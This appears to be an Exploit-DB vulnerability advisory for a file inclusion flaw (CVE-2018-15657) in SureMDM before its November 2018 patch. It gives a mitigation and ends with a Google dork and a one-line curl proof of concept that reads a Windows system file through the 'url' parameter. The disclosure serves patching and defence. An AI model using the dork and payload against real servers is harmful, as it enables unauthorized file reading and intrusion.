SureMDM LFI/RFI (Prior to 2018-11 Patch)

vendor:

SureMDM

by:

Digital Interruption

7.3

CVSS

HIGH

Local File Inclusion/Remote File Inclusion

CWE

Product Name: SureMDM

Affected Version From: Versions prior to the November 2018 patch

Affected Version To:

Patch Exists: YES

Related CWE: CVE-2018-15657

CPE: //a:42gears:suremdm

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2019

SureMDM LFI/RFI (Prior to 2018-11 Patch)

An attacker can force the web server to request remote files and display the output by placing any arbitrary URL in the 'url' parameter of /api/DownloadUrlResponse.ashx. This can also be utilised to request files from the local file system by using the file:// URI syntax, such as file://C:/WINDOWS/System32/drivers/etc/hosts.

Mitigation:

Apply the November 2018 patch to the SureMDM software.

Source

Exploit-DB raw data:

# Exploit Title: SureMDM LFI/RFI (Prior to 2018-11 Patch)
# Google Dork: inurl:/api/DownloadUrlResponse.ashx
# Date: 2019-02-01
# Exploit Author: Digital Interruption
# Vendor Homepage: https://www.42gears.com/
# Software Link: https://www.42gears.com/products/suremdm-home/
# Version: Versions prior to the November 2018 patch
# Tested on: Windows
# CVE : CVE-2018-15657

An attacker can force the web server to request remote files and display the output by placing any arbitrary URL in the "url" parameter of /api/DownloadUrlResponse.ashx. This can also be utilised to request files from the local file system by using the file:// URI syntax, such as file://C:/WINDOWS/System32/drivers/etc/hosts

Proof of concept: curl -H "ApiKey: apiKey" http://target/api/DownloadUrlResponse.ashx?url=file://C:/WINDOWS/System32/drivers/etc/hosts